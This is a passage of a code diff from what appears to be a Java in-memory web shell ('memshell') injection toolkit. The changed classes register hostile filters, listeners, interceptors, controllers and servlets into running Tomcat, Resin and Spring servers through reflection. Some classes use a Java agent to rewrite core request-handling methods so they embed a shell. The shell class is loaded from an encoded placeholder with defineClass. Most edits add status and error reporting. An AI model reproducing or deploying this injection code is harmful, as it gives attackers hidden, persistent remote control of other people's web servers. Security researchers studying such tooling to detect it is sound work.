||||
for (String key : servlets.keySet()) {
|
||||
if (key.contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Class<?> servletMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.ServletMapping");
|
||||
Object servletMapping = servletMappingClass.newInstance();
|
||||
@@ -86,18 +120,11 @@ public class ResinServletInjector {
|
||||
invokeMethod(servletMapping, "setServletClass", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(servletMapping, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
invokeMethod(context, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping});
|
||||
System.out.println("servlet injected success");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context) throws Exception {
|
||||
Map<String, Object> servlets = (Map) getFieldValue(getFieldValue(context, "_servletManager"), "_servlets");
|
||||
for (String key : servlets.keySet()) {
|
||||
if (key.contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -145,7 +172,7 @@ public class ResinServletInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -174,4 +201,19 @@ public class ResinServletInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+7
-4
@@ -19,6 +19,8 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class SpringWebFluxHandlerFunctionInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
@@ -32,10 +34,11 @@ public class SpringWebFluxHandlerFunctionInjector {
|
||||
}
|
||||
|
||||
public SpringWebFluxHandlerFunctionInjector() {
|
||||
Object webHandler = null;
|
||||
try {
|
||||
Object webHandler = getWebHandler();
|
||||
Object functionObj = getShell();
|
||||
inject(webHandler, functionObj);
|
||||
webHandler = getWebHandler();
|
||||
Object shell = getShell();
|
||||
inject(webHandler, shell);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
@@ -152,6 +155,6 @@ public class SpringWebFluxHandlerFunctionInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -144,6 +144,6 @@ public class SpringWebFluxHandlerMethodInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -116,6 +116,6 @@ public class SpringWebFluxWebFilterInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
}
|
||||
|
||||
+43
-33
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell.injector.springwebmvc;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
@@ -16,6 +16,8 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class SpringWebMvcControllerHandlerInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
@@ -29,48 +31,38 @@ public class SpringWebMvcControllerHandlerInjector {
|
||||
}
|
||||
|
||||
public SpringWebMvcControllerHandlerInjector() {
|
||||
Object context = null;
|
||||
try {
|
||||
Object context = getContext();
|
||||
Object interceptor = getShell();
|
||||
inject(context, interceptor);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
|
||||
try {
|
||||
return classLoader.loadClass("javax.servlet.ServletContext");
|
||||
context = getContext();
|
||||
} catch (Throwable e) {
|
||||
return classLoader.loadClass("jakarta.servlet.ServletContext");
|
||||
msg += "context error: " + getErrorMessage(e);
|
||||
}
|
||||
try {
|
||||
Object shell = getShell();
|
||||
msg += "context: [" + context + "] ";
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||
public Object getContext() throws Exception {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object context = null;
|
||||
try {
|
||||
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
|
||||
Object request = invokeMethod(requestAttributes, "getRequest");
|
||||
Object session = invokeMethod(request, "getSession");
|
||||
Object servletContext = invokeMethod(session, "getServletContext");
|
||||
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
|
||||
return invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
if (context == null) {
|
||||
try {
|
||||
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
||||
Object applicationContext = applicationContexts.iterator().next();
|
||||
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
||||
context = applicationContext;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
||||
Object applicationContext = applicationContexts.iterator().next();
|
||||
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
||||
return applicationContext;
|
||||
}
|
||||
}
|
||||
return context;
|
||||
return null;
|
||||
}
|
||||
|
||||
private Object getShell() throws Exception {
|
||||
@@ -99,11 +91,14 @@ public class SpringWebMvcControllerHandlerInjector {
|
||||
Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass});
|
||||
Map<String, Object> handlerMap = (Map<String, Object>) getFieldValue(beanNameUrlHandlerMapping, "handlerMap");
|
||||
if (handlerMap.get(getUrlPattern()) != null) {
|
||||
System.out.println("controller already injected");
|
||||
return;
|
||||
}
|
||||
handlerMap.put(getUrlPattern(), controller);
|
||||
System.out.println("controller injected successfully");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -183,7 +178,7 @@ public class SpringWebMvcControllerHandlerInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@@ -197,4 +192,19 @@ public class SpringWebMvcControllerHandlerInjector {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+3
-7
@@ -33,7 +33,6 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -53,6 +52,7 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -69,12 +69,8 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+45
-25
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell.injector.springwebmvc;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
@@ -16,6 +16,8 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class SpringWebMvcInterceptorInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
@@ -25,38 +27,38 @@ public class SpringWebMvcInterceptorInjector {
|
||||
}
|
||||
|
||||
public SpringWebMvcInterceptorInjector() {
|
||||
Object context = null;
|
||||
try {
|
||||
Object context = getContext();
|
||||
Object interceptor = getShell();
|
||||
inject(context, interceptor);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
context = getContext();
|
||||
} catch (Throwable e) {
|
||||
msg += "context error: " + getErrorMessage(e);
|
||||
}
|
||||
try {
|
||||
Object shell = getShell();
|
||||
msg += "context: [" + context + "] ";
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||
@SuppressWarnings("unchecked")
|
||||
public Object getContext() throws Exception {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object context = null;
|
||||
try {
|
||||
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
|
||||
Object request = invokeMethod(requestAttributes, "getRequest");
|
||||
context = invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"});
|
||||
return invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
if (context == null) {
|
||||
try {
|
||||
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
||||
Object applicationContext = applicationContexts.iterator().next();
|
||||
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
||||
context = applicationContext;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
||||
Object applicationContext = applicationContexts.iterator().next();
|
||||
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
||||
return applicationContext;
|
||||
}
|
||||
}
|
||||
return context;
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -81,12 +83,15 @@ public class SpringWebMvcInterceptorInjector {
|
||||
List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors");
|
||||
for (Object adaptedInterceptor : adaptedInterceptors) {
|
||||
if (adaptedInterceptor.getClass().getName().equals(getClassName())) {
|
||||
System.out.println("interceptor already injected");
|
||||
return;
|
||||
}
|
||||
}
|
||||
adaptedInterceptors.add(interceptor);
|
||||
System.out.println("interceptor injected successfully");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -166,7 +171,7 @@ public class SpringWebMvcInterceptorInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@@ -180,4 +185,19 @@ public class SpringWebMvcInterceptorInjector {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+3
-7
@@ -33,7 +33,6 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -53,6 +52,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
@@ -69,12 +69,8 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+3
-7
@@ -33,7 +33,6 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
||||
String name = allLoadedClass.getName();
|
||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -53,6 +52,7 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
@@ -69,12 +69,8 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
||||
String signature, String[] exceptions) {
|
||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||
if (TARGET_METHOD_NAME.equals(name)) {
|
||||
try {
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||
}
|
||||
return mv;
|
||||
}
|
||||
|
||||
+70
-25
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -13,15 +14,51 @@ import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Date: 2022/11/01
|
||||
* Author: pen4uin
|
||||
* Description: Tomcat Filter 注入器 Tested version: jdk v1.8.0_275
|
||||
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
||||
*
|
||||
* @author ReaJason
|
||||
* @author pen4uin, ReaJason
|
||||
*/
|
||||
public class TomcatFilterInjector {
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public TomcatFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
@@ -34,18 +71,6 @@ public class TomcatFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public TomcatFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* org.apache.catalina.core.StandardContext
|
||||
* /usr/local/tomcat/server/lib/catalina.jar
|
||||
@@ -80,22 +105,23 @@ public class TomcatFilterInjector {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object shell) throws Exception {
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
System.out.println("filter already injected");
|
||||
return;
|
||||
}
|
||||
Object filterDef;
|
||||
@@ -139,7 +165,11 @@ public class TomcatFilterInjector {
|
||||
Object filterConfig = filterConfigConstructor.newInstance(context, filterDef);
|
||||
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
||||
filterConfigs.put(getClassName(), filterConfig);
|
||||
System.out.println("filter inject success");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -209,6 +239,21 @@ public class TomcatFilterInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+69
-28
@@ -3,32 +3,18 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Tomcat Listener 注入器
|
||||
* 测试版本:
|
||||
* jdk v1.8.0_275
|
||||
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
|
||||
*
|
||||
* @author pen4uin, ReaJason
|
||||
*/
|
||||
public class TomcatListenerInjector {
|
||||
|
||||
public TomcatListenerInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -38,8 +24,47 @@ public class TomcatListenerInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
public TomcatListenerInjector() {
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += " [/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
@@ -66,18 +91,19 @@ public class TomcatListenerInjector {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader webAppClassLoader = getWebAppClassLoader(context);
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return webAppClassLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -87,26 +113,26 @@ public class TomcatListenerInjector {
|
||||
List<Object> listeners = (List<Object>) objects;
|
||||
for (Object o : listeners) {
|
||||
if (o.getClass().getName().equals(getClassName())) {
|
||||
System.out.println("listener already injected");
|
||||
return;
|
||||
}
|
||||
}
|
||||
listeners.add(listener);
|
||||
System.out.println("listener inject successful");
|
||||
} else {
|
||||
List arrayList = new ArrayList(Arrays.asList(((Object[]) objects)));
|
||||
for (Object o : arrayList) {
|
||||
if (o.getClass().getName().equals(getClassName())) {
|
||||
System.out.println("listener already injected");
|
||||
return;
|
||||
}
|
||||
}
|
||||
arrayList.add(listener);
|
||||
invokeMethod(context, "setApplicationEventListeners", new Class[]{Object[].class}, new Object[]{arrayList.toArray()});
|
||||
System.out.println("listener inject successful");
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
@@ -152,7 +178,7 @@ public class TomcatListenerInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@@ -200,4 +226,19 @@ public class TomcatListenerInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+62
-12
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
||||
